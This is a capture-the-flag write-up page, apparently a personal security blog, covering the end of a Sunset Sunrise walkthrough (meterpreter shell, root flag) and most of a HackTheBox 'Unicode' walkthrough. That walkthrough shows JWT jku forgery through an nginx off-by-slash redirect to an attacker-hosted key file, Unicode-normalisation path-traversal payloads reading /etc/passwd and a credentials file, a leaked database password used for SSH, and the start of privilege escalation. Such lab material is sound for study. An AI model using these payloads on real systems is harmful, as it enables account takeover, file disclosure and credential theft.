Server username: sunrise\root
meterpreter > pwd
Z:\tmp
meterpreter > cd /root
meterpreter > ls
Listing: Z:\root
================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  1602  fil   2019-12-05 17:24:31 -0500  .ICEauthority
100666/rw-rw-rw-  104   fil   2019-12-05 17:40:27 -0500  .Xauthority
100666/rw-rw-rw-  142   fil   2019-12-25 04:07:46 -0500  .bash_history
100666/rw-rw-rw-  570   fil   2010-01-31 06:52:26 -0500  .bashrc
40777/rwxrwxrwx   0     dir   2019-12-04 17:46:24 -0500  .cache
40777/rwxrwxrwx   0     dir   2019-12-04 15:48:21 -0500  .config
100666/rw-rw-rw-  35    fil   2019-12-04 15:46:34 -0500  .dmrc
40777/rwxrwxrwx   0     dir   2019-12-04 15:48:12 -0500  .gnupg
40777/rwxrwxrwx   0     dir   2019-12-04 14:29:33 -0500  .local
40777/rwxrwxrwx   0     dir   2019-12-04 17:46:29 -0500  .mozilla
100666/rw-rw-rw-  0     fil   2019-12-04 16:56:11 -0500  .odbc.ini
100666/rw-rw-rw-  148   fil   2015-08-17 11:30:33 -0400  .profile
40777/rwxrwxrwx   0     dir   2019-12-04 14:48:28 -0500  .rpmdb
100666/rw-rw-rw-  66    fil   2019-12-05 16:08:41 -0500  .selected_editor
40777/rwxrwxrwx   0     dir   2019-12-04 15:47:54 -0500  .ssh
100666/rw-rw-rw-  252   fil   2019-12-05 14:59:00 -0500  .wget-hsts
100666/rw-rw-rw-  2211  fil   2019-12-05 17:24:30 -0500  .xsession-errors
100666/rw-rw-rw-  2211  fil   2019-12-05 13:51:40 -0500  .xsession-errors.old
40777/rwxrwxrwx   0     dir   2019-12-04 15:46:51 -0500  Desktop
40777/rwxrwxrwx   0     dir   2019-12-04 15:46:51 -0500  Documents
40777/rwxrwxrwx   0     dir   2019-12-04 15:46:51 -0500  Downloads
40777/rwxrwxrwx   0     dir   2007-08-29 11:03:27 -0400  Groups
40777/rwxrwxrwx   0     dir   2007-08-29 11:03:27 -0400  Logs
40777/rwxrwxrwx   0     dir   2019-12-04 16:33:15 -0500  Manual
40777/rwxrwxrwx   0     dir   2019-12-04 15:46:51 -0500  Music
40777/rwxrwxrwx   0     dir   2019-12-04 15:46:51 -0500  Pictures
40777/rwxrwxrwx   0     dir   2019-12-04 15:46:51 -0500  Public
40777/rwxrwxrwx   0     dir   2019-12-04 16:33:15 -0500  Readme
40777/rwxrwxrwx   0     dir   2019-12-04 15:46:51 -0500  Templates
40777/rwxrwxrwx   0     dir   2007-08-29 11:03:26 -0400  Users
40777/rwxrwxrwx   0     dir   2019-12-04 15:46:51 -0500  Videos
100666/rw-rw-rw-  701   fil   2019-12-05 17:22:55 -0500  root.txt

meterpreter > cat root.txt
            ^^                   @@@@@@@@@
       ^^       ^^            @@@@@@@@@@@@@@@
                            @@@@@@@@@@@@@@@@@@              ^^
                           @@@@@@@@@@@@@@@@@@@@
 ~~~~ ~~ ~~~~~ ~~~~~~~~ ~~ &&&&&&&&&&&&&&&&&&&& ~~~~~~~ ~~~~~~~~~~~ ~~~
 ~         ~~   ~  ~       ~~~~~~~~~~~~~~~~~~~~ ~       ~~     ~~ ~
   ~      ~~      ~~ ~~ ~~  ~~~~~~~~~~~~~ ~~~~  ~     ~~~    ~ ~~~  ~ ~~
   ~  ~~     ~         ~      ~~~~~~  ~~ ~~~       ~~ ~ ~~  ~~ ~
 ~  ~       ~ ~      ~           ~~ ~~~~~~  ~      ~~  ~             ~~
       ~             ~        ~      ~      ~~   ~             ~

Thanks for playing! - Felipe Winsnes (@whitecr0wz)

24edb59d21c273c033aa6f1689b0b18c
```

<font color="green">帅掉渣！！！还有更多方法请通过qq告诉我，我的qq:1185151867</font>

<font color="red">Game over</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>
<!-- kb:end sunset-sunrise -->

</details>

<a id="case-unicode"></a>

## Unicode 归一化与路径判断

JWT 密钥来源、off-by-slash 和 Unicode 规范化分别影响不同边界。pyc 反编译和 treport/curl 参数处理组成后续提权段。

<p class="kb-provenance">来源 unicode · 原记录 2021-12-01 · 24 个代码块 · 15 处图片引用</p>

<details class="kb-evidence" id="record-unicode">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start unicode -->

#### introduce

OS: Linux
Difficulty: Medium
Points:	30
Release:	27 Nov 2021
IP:	10.10.11.126

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2105.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration
#### NMAP

``` bash
┌──(root💀kali)-[~/hackthebox/machine/unicode]
└─# nmap -sV -v -p- --min-rate=10000 10.10.11.126
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Nmap reveals only two open ports on the target. HTTP is running on Nginx. Let's look into HTTP.

Web page has login and register links. Upon hovering 'google about us', we'd see a redirect link.

``` bash
GET /redirect/?url=google.com HTTP/1.1
```

Let's create a new account and login.

After login we’d see below dashboard.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2106.jpg)

It has three more links, upload, buy now and logout. the first two links did not lead to anywhere. Server is using JWT as cookies.

``` bash
Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy9qd2tzLmpzb24ifQ.eyJ1c2VyIjoidGVzdEB0ZXN0LmNvbSJ9.BAzUpzOSU72w-MproYXSq_JQp1eCGkv_XkihDOVYRs4Qu3WJcBw0bguRUPJlM_Xr3Qib_2FkUpuI8YczJn4IARiYVNvDfLp0C53O74Mk8Vk-w7Y7KmPKHPp6q4tGkNzZoU6cymaqjTTJ58EWx8koy1mMRnXyg6WSFXDwY8o2BSNqIC4vbbVtScl2CV8J_IV5mgbyKn0hiqPF7iIzJnxVJwpmgYStKyGcLpkbQljNL84JuuAY9LQxuj0NU4n3vOJaBxV6vGrpJWi3gDBJv81OdXv8mgNxBtT2aaNH8GlBXOGYn-6PdQoNyoLj_cqWacm0Cneq4A3HE0YCDU6npQpP3w
```

Let's decode this cookie with https://jwt.io

We got the decoded data. The interesting part of this data is, 'JKU'.

``` bash
The "jku" (Json Web Key Set URL) Header Parameter is a URI that refers to a resource for a set of JSON-encoded public keys, one of which corresponds to the key used to digitally sign the JWS (JSON Web Signature).
```

This JKU is pointing to a domain, add that domain to hosts file and read the file.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/unicode]
└─# curl http://hackmedia.htb/static/jwks.json
{
    "keys": [
        {
            "kty": "RSA",
            "use": "sig",
            "kid": "hackthebox",
            "alg": "RS256",
            "n": "AMVcGPF62MA_lnClN4Z6WNCXZHbPYr-dhkiuE2kBaEPYYclRFDa24a-AqVY5RR2NisEP25wdHqHmGhm3Tde2xFKFzizVTxxTOy0OtoH09SGuyl_uFZI0vQMLXJtHZuy_YRWhxTSzp3bTeFZBHC3bju-UxiJZNPQq3PMMC8oTKQs5o-bjnYGi3tmTgzJrTbFkQJKltWC8XIhc5MAWUGcoI4q9DUnPj_qzsDjMBGoW1N5QtnU91jurva9SJcN0jb7aYo2vlP1JTurNBtwBMBU99CyXZ5iRJLExxgUNsDBF_DswJoOxs7CAVC5FjIqhb1tRTy3afMWsmGqw8HiUA2WFYcs",
            "e": "AQAB"
        }
    ]
}
```

The below links will help us to understand JWT, JWK and JKU.

 - [JSON Web Tokens (JWT) Demystified](https://hackernoon.com/json-web-tokens-jwt-demystified-f7e202249640)
 - [JSON Web Key (JWK) draft-jones-json-web-key-03](https://openid.net/specs/draft-jones-json-web-key-03.html)

Based on the above blogs, below is the normal working process.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2107.jpg)

We need to redirect the JKU header request to our server.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2108.jpg)

The above representation is what we need to achieve. To do that, first we need to generate RSA key pair. For that we can use any one of the below tools.

 - [mkjwk simple JSON Web Key generator](https://mkjwk.org/)
 - [jwt_tool](https://github.com/ticarpi/jwt_tool)

I will use online generator for this demo. Select below options and generate the random RSA key pair.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2109.jpg)

After generating, you will see private and public keys just like below.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2110.jpg)

Now we have generated the keys, it's time to use these keys to craft the JSON Web Tokens. To do that we have to use default JWT and edit it accordingly.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2111.jpg)

The above is default JWT, taken from cookies after login. Now we need to edit three things.

 - JKU value
 - User Value: change it to admin
 - Public and Private Keys: add respective keys previously generated from online site.

Below is the final draft of JWT.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2112.jpg)

As you can see the difference between default 'JKU' value and crafted one, it is different. The objective is to redirect it to our server, if we just add our IP as JKU address it will not work, as 'hackmedia' is only one in the allow list and it gives us an error 'JKU validation failed'. The validation check is up to 'http://hackmedia.htb/static/'. We have to change /add after that. So, as we already know it is an NginX server, we can take advantage of 'off-by-slash' bug and take advantage of going one step back in the directory and use 'redirect' endpoint.

``` bash
http://hackmedia.com/redirect/?url=google.com
```

We already know it exists, so we just need to access it and redirect it to our Kali Machine. On Kali machine we set up a crafted 'jwks.json' file. Let's craft the 'jwks.json' file.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/unicode]
└─# curl http://hackmedia.htb/static/jwks.json
{
    "keys": [
        {
            "kty": "RSA",
            "use": "sig",
            "kid": "hackthebox",
            "alg": "RS256",
            "n": "AMVcGPF62MA_lnClN4Z6WNCXZHbPYr-dhkiuE2kBaEPYYclRFDa24a-AqVY5RR2NisEP25wdHqHmGhm3Tde2xFKFzizVTxxTOy0OtoH09SGuyl_uFZI0vQMLXJtHZuy_YRWhxTSzp3bTeFZBHC3bju-UxiJZNPQq3PMMC8oTKQs5o-bjnYGi3tmTgzJrTbFkQJKltWC8XIhc5MAWUGcoI4q9DUnPj_qzsDjMBGoW1N5QtnU91jurva9SJcN0jb7aYo2vlP1JTurNBtwBMBU99CyXZ5iRJLExxgUNsDBF_DswJoOxs7CAVC5FjIqhb1tRTy3afMWsmGqw8HiUA2WFYcs",
            "e": "AQAB"
        }
    ]
}
```

 - 'n' : modulus value for the RSA public key

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2113.jpg)

``` bash
┌──(root💀kali)-[~/hackthebox/machine/unicode]
└─# cat jwks.json 
{
    "keys": [
        {
            "kty": "RSA",
            "use": "sig",
            "kid": "hackthebox",
            "alg": "RS256",
            "n": "kYtRuyinTL4D-22Q3WgbSWff3ClIie10qeeGjunpW-4DgO5WWlHMVI3qxyXnGPvVIfQuARkzNBGQ2O4rytPnF0OoSD6cCNxmGKqVoIratzskq28OFnfqO_QhEkVhGfd_drGqa0wMNEU312XVfGzfP7V_GWn9aQcLnaWMQUlDwYOKG_UEcOQgur3sKpCdZjMThYJ_33oYmhdtHd3sA-SaNiYtwWW2AJHcCJkaaxSN-lB1lx--pmTMqfL1fURJ_0n3vHO0jAs2Kwk2rm9rgQNABuQxgotu0IRNaK3R61d7Cz41evkQm2s9ya4XR0y1iqBRkElbFCpNUWt9hP3gb5Ty9Q",
            "e": "AQAB"
        }
    ]
}
```

The above is edited and replaced it with RSA n value which we have generated. Once you edit that, start a HTTP sever where that file is present. Everything is set, now the only thing is to copy the encoded JWT from the online website.

``` bash
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy8uLi9yZWRpcmVjdC8_dXJsPTEwLjEwLjE0LjMwL2p3a3MuanNvbiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.Om_Ox6WkDDtAnFWnyBHdXkkPXZFpe-h1yof4IEKWi5zGk3i_iBWVnOlp8HTNAXA9NI8R5J3T7qbczaTLZYer-pvd2W7j19dxbWw3Lz-raQcXhpMJRILVOsuNkEQgus5-HSC5oF3fEXQfQLnYvXb8RsUhlaHUAzWOpBAqunrQXvKG_13RiBa1XifDIXZnirNSs3i2gdf4l2lo9yB5t3R2Rb8WFqPQx8xgZpXfGFyoJ1QgGsz_0el_lKq_EXvzpt4VcLx9xOMGoB1a_bGYsAncxBQl3fWuNNDkUgFG0sYA9VSfU2ws85ctVu8i32OiREbadYuZ6kvZD_rgWdyRSbME4g
```

Copy the encoded JWT and add it as cookie value.

I am using Firefox add-on called 'cookie editor' to replace cookies easily. Save it and refresh the page.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2114.jpg)

We got the admin dashboard access. If you click on any of the saved reports, it will display you below message.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2115.jpg)

As you can see from address bar, it is fetching that pdf file from different location. There's a possibility of path traversal attack. Let's try to read any local file.

``` bash
../../../../etc/passwd
```

It is filtering our inputs, we need to bypass it. To bypass that we have to use 'unicode' characters. Below blog explains how to use it and it's impact.

 - [Unicode normalization vulnerabilities](https://lazarv.com/posts/unicode-normalization-vulnerabilities/)

For this machine, we will use below payload.

``` bash
http://hackmedia.htb/display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false
code:x:1000:1000:,,,:/home/code:/bin/bash
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2116.jpg)

As you can see, we can read local files now via this technique. Now we need to fuzz to find the files which we can read.

``` bash
┌──(root💀kali)-[~/ffuf]
└─# ./ffuf -u 'http://hackmedia.htb/display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/FUZZ' -b 'auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy8uLi9yZWRpcmVjdC8_dXJsPTEwLjEwLjE0LjMwL2p3a3MuanNvbiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.Om_Ox6WkDDtAnFWnyBHdXkkPXZFpe-h1yof4IEKWi5zGk3i_iBWVnOlp8HTNAXA9NI8R5J3T7qbczaTLZYer-pvd2W7j19dxbWw3Lz-raQcXhpMJRILVOsuNkEQgus5-HSC5oF3fEXQfQLnYvXb8RsUhlaHUAzWOpBAqunrQXvKG_13RiBa1XifDIXZnirNSs3i2gdf4l2lo9yB5t3R2Rb8WFqPQx8xgZpXfGFyoJ1QgGsz_0el_lKq_EXvzpt4VcLx9xOMGoB1a_bGYsAncxBQl3fWuNNDkUgFG0sYA9VSfU2ws85ctVu8i32OiREbadYuZ6kvZD_rgWdyRSbME4g' -mc 200 -w /usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt -fw 1299

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0-git
________________________________________________

 :: Method           : GET
 :: URL              : http://hackmedia.htb/display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt
 :: Header           : Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy8uLi9yZWRpcmVjdC8_dXJsPTEwLjEwLjE0LjMwL2p3a3MuanNvbiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.Om_Ox6WkDDtAnFWnyBHdXkkPXZFpe-h1yof4IEKWi5zGk3i_iBWVnOlp8HTNAXA9NI8R5J3T7qbczaTLZYer-pvd2W7j19dxbWw3Lz-raQcXhpMJRILVOsuNkEQgus5-HSC5oF3fEXQfQLnYvXb8RsUhlaHUAzWOpBAqunrQXvKG_13RiBa1XifDIXZnirNSs3i2gdf4l2lo9yB5t3R2Rb8WFqPQx8xgZpXfGFyoJ1QgGsz_0el_lKq_EXvzpt4VcLx9xOMGoB1a_bGYsAncxBQl3fWuNNDkUgFG0sYA9VSfU2ws85ctVu8i32OiREbadYuZ6kvZD_rgWdyRSbME4g
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
 :: Filter           : Response words: 1299
________________________________________________

/etc/passwd             [Status: 200, Size: 1876, Words: 17, Lines: 36]
/etc/group              [Status: 200, Size: 778, Words: 1, Lines: 60]
/proc/self/environ      [Status: 200, Size: 208, Words: 1, Lines: 1]
/proc/self/cmdline      [Status: 200, Size: 87, Words: 1, Lines: 1]
/proc/self/stat         [Status: 200, Size: 313, Words: 52, Lines: 2]
/proc/self/status       [Status: 200, Size: 1367, Words: 93, Lines: 56]
/proc/self/fd/0         [Status: 200, Size: 0, Words: 1, Lines: 1]
/etc/mysql/my.cnf       [Status: 200, Size: 682, Words: 89, Lines: 22]
```

None of these files are useful for our cause. They don't have any information which can help us to gain shell access. However, we know that NginX is running on the machine, we can guess the path of configuration file.

``` bash
http://hackmedia.htb/display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/etc/nginx/sites-available/default

server{
#Change the Webroot from /home/code/coder/ to /var/www/html/
#change the user password from db.yaml
	listen 80;
	location / {
		proxy_pass http://localhost:8000;
		include /etc/nginx/proxy_params;
		proxy_redirect off;
	}
	location /static/{
		alias /home/code/coder/static/styles/;
	}

}
```

One of the file gives us this above information about password change for the user and it has already given the path of the file too. Let's read it.

``` bash
http://hackmedia.htb/display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/home/code/coder/db.yaml

mysql_host: "localhost"
mysql_user: "code"
mysql_password: "B3stC0d3r2021@@!"
mysql_db: "user"
```

We have the database password. Let's login via SSH using these creds.and we got user flag.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/unicode]
└─# ssh code@10.10.11.126
The authenticity of host '10.10.11.126 (10.10.11.126)' can't be established.
ED25519 key fingerprint is SHA256:SnMpKuOJvoXQsmvAqpabXWgEhnhEAkNeEnQ/zKJnmJs.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.126' (ED25519) to the list of known hosts.
code@10.10.11.126's password: 
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed 01 Dec 2021 03:00:28 PM UTC

  System load:  0.17              Processes:             316
  Usage of /:   82.5% of 3.87GB   Users logged in:       0
  Memory usage: 82%               IPv4 address for eth0: 10.10.11.126
  Swap usage:   0%

 * Super-optimized for small spaces - read how we shrank the memory
   footprint of MicroK8s to make it the smallest full K8s around.

   https://ubuntu.com/blog/microk8s-memory-optimisation

8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Nov 29 14:14:14 2021 from 10.10.14.23
code@code:~$ id
uid=1000(code) gid=1000(code) groups=1000(code)
code@code:~$ whoami
code
code@code:~$ cat user.txt
c44ed9130688a2816ef0bbcd5d561f19
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2117.jpg)

#### privesclation

``` bash
code@code:~$ sudo -l
Matching Defaults entries for code on code:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User code may run the following commands on code:
    (root) NOPASSWD: /usr/bin/treport
```

We have permission to run the binary file with root's privileges. Let's look into it.

``` bash
code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:1
Enter the filename:test
Enter the report:test
Traceback (most recent call last):
  File "treport.py", line 74, in <module>
  File "treport.py", line 13, in create
FileNotFoundError: [Errno 2] No such file or directory: '/root/reports/test'
[5308] Failed to execute script 'treport' due to unhandled exception!
```

Upon executing this binary, it gives us four options to choose. If we choose option one, then ultimately it gives us this above error. Looks like it is a binary file compiled with python.

 - [pyinstxtractor](https://github.com/extremecoders-re/pyinstxtractor)

Using above code we can extract python script from a binary.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/unicode]
└─# scp code@10.10.11.126:/usr/bin/treport .
code@10.10.11.126's password: 
treport                                                                          100% 6690KB  80.7KB/s   01:22    
┌──(root💀kali)-[~/hackthebox/machine/unicode]
└─# python pyinstxtractor.py treport 
[+] Processing treport
[+] Pyinstaller version: 2.1+
[+] Python version: 38
[+] Length of package: 6798297 bytes
[+] Found 46 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: treport.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python38 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: treport

You can now use a python decompiler on the pyc files within the extracted directory
┌──(root💀kali)-[~/hackthebox/machine/unicode]
└─# ls
jwks.json  pyinstxtractor.py  treport  treport_extracted
```

It extracted the python files and saved it in a directory.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/unicode]
└─# ls treport_extracted/                                                                                          
base_library.zip  libffi.so.7          libssl.so.1.1            pyimod02_archive.pyc         pyi_rth_pkgutil.pyc
libbz2.so.1.0     liblzma.so.5         libtinfo.so.6            pyimod03_importers.pyc       PYZ-00.pyz
libcrypto.so.1.1  libmpdec.so.2        libz.so.1                pyimod04_ctypes.pyc          PYZ-00.pyz_extracted
lib-dynload       libpython3.8.so.1.0  pyiboot01_bootstrap.pyc  pyi_rth_inspect.pyc          struct.pyc
libexpat.so.1     libreadline.so.8     pyimod01_os_path.pyc     pyi_rth_multiprocessing.pyc  treport.pyc
┌──(root💀kali)-[~/hackthebox/machine/unicode]
└─# file treport_extracted/treport.pyc 
treport_extracted/treport.pyc: python 2.7 byte-compiled
```

It has a lot of file, we have byte-compiled file. We can't just read like normal files. We need to disassemble and decompile to read the contents.

 - [pycdc](https://github.com/zrax/pycdc)

We will use this above project to do that. We could have used 'uncompyle6' but it only supports python version up to 3.8. This byte-compiled file is created with python version 3.9. Clone the project and we need to compile it.

``` bash
┌──(root💀kali)-[~/pycdc]
└─# ls
ASTNode.cpp   bytecode_ops.inl     data.cpp     pyc_code.cpp  pyc_module.cpp   pyc_sequence.cpp    scripts
ASTNode.h     bytes                data.h       pyc_code.h    pyc_module.h     pyc_sequence.h      tests
ASTree.cpp    CMakeCache.txt       FastStack.h  pycdas        pyc_numeric.cpp  pyc_string.cpp
ASTree.h      CMakeFiles           libpycxx.a   pycdas.cpp    pyc_numeric.h    pyc_string.h
bytecode.cpp  cmake_install.cmake  LICENSE      pycdc         pyc_object.cpp   PythonBytecode.txt
bytecode.h    CMakeLists.txt       Makefile     pycdc.cpp     pyc_object.h     README.markdown
┌──(root💀kali)-[~/pycdc]
└─# cmake CMakeLists.txt
-- The C compiler identification is GNU 11.2.0
-- The CXX compiler identification is GNU 11.2.0
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Check for working C compiler: /usr/bin/cc - skipped
-- Detecting C compile features
-- Detecting C compile features - done
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Check for working CXX compiler: /usr/bin/c++ - skipped
-- Detecting CXX compile features
-- Detecting CXX compile features - done
-- Found PythonInterp: /usr/bin/python (found version "2.7.18") 
-- Configuring done
-- Generating done
-- Build files have been written to: /root/pycdc
┌──(root💀kali)-[~/pycdc]
└─# ls -la
总用量 2556
drwxrwxrwx   8 root root   4096 12月  1 10:21 .
drwx------ 161 root root  12288 12月  1 08:01 ..
-rwxrwxrwx   1 root root   1681  5月 16  2020 ASTNode.cpp
-rwxrwxrwx   1 root root  16201  5月 16  2020 ASTNode.h
-rwxrwxrwx   1 root root 115114  5月 16  2020 ASTree.cpp
-rwxrwxrwx   1 root root    253  5月 16  2020 ASTree.h
-rwxrwxrwx   1 root root  11662  5月 16  2020 bytecode.cpp
-rwxrwxrwx   1 root root    848  5月 16  2020 bytecode.h
-rwxrwxrwx   1 root root   3922  5月 16  2020 bytecode_ops.inl
drwxrwxrwx   2 root root   4096  5月 16  2020 bytes
-rw-r--r--   1 root root  13934 12月  1 10:21 CMakeCache.txt
drwxrwxrwx   9 root root   4096 12月  1 10:21 CMakeFiles
-rw-r--r--   1 root root   3065 12月  1 10:21 cmake_install.cmake
-rwxrwxrwx   1 root root   1900  5月 16  2020 CMakeLists.txt
-rwxrwxrwx   1 root root   1781  5月 16  2020 data.cpp
-rwxrwxrwx   1 root root   1269  5月 16  2020 data.h
-rwxrwxrwx   1 root root    969  5月 16  2020 FastStack.h
drwxr-xr-x   8 root root   4096  5月 16  2020 .git
drwxr-xr-x   3 root root   4096  5月 16  2020 .github
-rw-r--r--   1 root root     42  5月 16  2020 .gitignore
-rwxrwxrwx   1 root root 965136  5月 16  2020 libpycxx.a
-rwxrwxrwx   1 root root  35147  5月 16  2020 LICENSE
-rw-r--r--   1 root root  36621 12月  1 10:21 Makefile
-rwxrwxrwx   1 root root   2319  5月 16  2020 pyc_code.cpp
-rwxrwxrwx   1 root root   3270  5月 16  2020 pyc_code.h
-rwxrwxrwx   1 root root 360984  5月 16  2020 pycdas
-rwxrwxrwx   1 root root   8665  5月 16  2020 pycdas.cpp
-rwxrwxrwx   1 root root 833824  5月 16  2020 pycdc
-rwxrwxrwx   1 root root   1104  5月 16  2020 pycdc.cpp
-rwxrwxrwx   1 root root   4504  5月 16  2020 pyc_module.cpp
-rwxrwxrwx   1 root root   1932  5月 16  2020 pyc_module.h
-rwxrwxrwx   1 root root   3694  5月 16  2020 pyc_numeric.cpp
-rwxrwxrwx   1 root root   2624  5月 16  2020 pyc_numeric.h
-rwxrwxrwx   1 root root   2728  5月 16  2020 pyc_object.cpp
-rwxrwxrwx   1 root root   3932  5月 16  2020 pyc_object.h
-rwxrwxrwx   1 root root   4559  5月 16  2020 pyc_sequence.cpp
-rwxrwxrwx   1 root root   2265  5月 16  2020 pyc_sequence.h
-rwxrwxrwx   1 root root   4280  5月 16  2020 pyc_string.cpp
-rwxrwxrwx   1 root root    961  5月 16  2020 pyc_string.h
-rwxrwxrwx   1 root root  48053  5月 16  2020 PythonBytecode.txt
-rwxrwxrwx   1 root root   1460  5月 16  2020 README.markdown
